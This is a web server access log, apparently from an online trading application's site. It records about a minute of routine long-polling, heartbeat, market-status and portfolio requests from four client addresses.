[09/Jan/2026:15:48:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945162912 HTTP/1.1" -
[09/Jan/2026:15:48:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945164987 HTTP/1.1" -
[09/Jan/2026:15:48:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945166847 HTTP/1.1" -
[09/Jan/2026:15:48:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945166885 HTTP/1.1" -
[09/Jan/2026:15:48:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945183302 HTTP/1.1" -
[09/Jan/2026:15:48:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945167950 HTTP/1.1" -
[09/Jan/2026:15:48:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945170102 HTTP/1.1" -
[09/Jan/2026:15:48:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945171887 HTTP/1.1" -
[09/Jan/2026:15:48:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945172889 HTTP/1.1" -
[09/Jan/2026:15:48:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945188330 HTTP/1.1" -
[09/Jan/2026:15:48:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945172983 HTTP/1.1" -
[09/Jan/2026:15:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945175245 HTTP/1.1" -
[09/Jan/2026:15:48:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945176937 HTTP/1.1" -
[09/Jan/2026:15:48:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945193395 HTTP/1.1" -
[09/Jan/2026:15:48:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945178024 HTTP/1.1" -
[09/Jan/2026:15:48:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945178887 HTTP/1.1" -
[09/Jan/2026:15:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945180360 HTTP/1.1" -
[09/Jan/2026:15:48:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945181975 HTTP/1.1" -
[09/Jan/2026:15:48:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945198465 HTTP/1.1" -
[09/Jan/2026:15:48:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945183068 HTTP/1.1" -
[09/Jan/2026:15:48:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945184889 HTTP/1.1" -
[09/Jan/2026:15:48:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945185414 HTTP/1.1" -
[09/Jan/2026:15:48:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945187015 HTTP/1.1" -
[09/Jan/2026:15:48:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945203519 HTTP/1.1" -
[09/Jan/2026:15:48:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945188099 HTTP/1.1" -
[09/Jan/2026:15:48:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945190882 HTTP/1.1" -
[09/Jan/2026:15:48:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945190682 HTTP/1.1" -
[09/Jan/2026:15:48:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945192124 HTTP/1.1" -
[09/Jan/2026:15:48:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945208548 HTTP/1.1" -
[09/Jan/2026:15:48:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945193127 HTTP/1.1" -
[09/Jan/2026:15:48:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945195738 HTTP/1.1" -
[09/Jan/2026:15:48:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945196883 HTTP/1.1" -
[09/Jan/2026:15:48:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945197148 HTTP/1.1" -
[09/Jan/2026:15:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1869
[09/Jan/2026:15:48:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945213575 HTTP/1.1" -
[09/Jan/2026:15:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945198166 HTTP/1.1" -
[09/Jan/2026:15:48:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945200880 HTTP/1.1" -
[09/Jan/2026:15:48:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945202186 HTTP/1.1" -
[09/Jan/2026:15:48:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945202884 HTTP/1.1" -
[09/Jan/2026:15:48:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945218630 HTTP/1.1" -
[09/Jan/2026:15:48:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945203200 HTTP/1.1" -
[09/Jan/2026:15:48:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945206022 HTTP/1.1" -
[09/Jan/2026:15:48:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945207263 HTTP/1.1" -
[09/Jan/2026:15:48:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945208231 HTTP/1.1" -
[09/Jan/2026:15:48:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945223695 HTTP/1.1" -
[09/Jan/2026:15:48:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945208887 HTTP/1.1" -
[09/Jan/2026:15:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945211154 HTTP/1.1" -
[09/Jan/2026:15:49:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945212286 HTTP/1.1" -
[09/Jan/2026:15:49:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945213263 HTTP/1.1" -
[09/Jan/2026:15:49:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945228755 HTTP/1.1" -
[09/Jan/2026:15:49:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945214894 HTTP/1.1" -
[09/Jan/2026:15:49:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945217332 HTTP/1.1" -
[09/Jan/2026:15:49:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945216264 HTTP/1.1" -
[09/Jan/2026:15:49:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945218305 HTTP/1.1" -
[09/Jan/2026:15:49:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945233820 HTTP/1.1" -
[09/Jan/2026:15:49:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945220886 HTTP/1.1" -
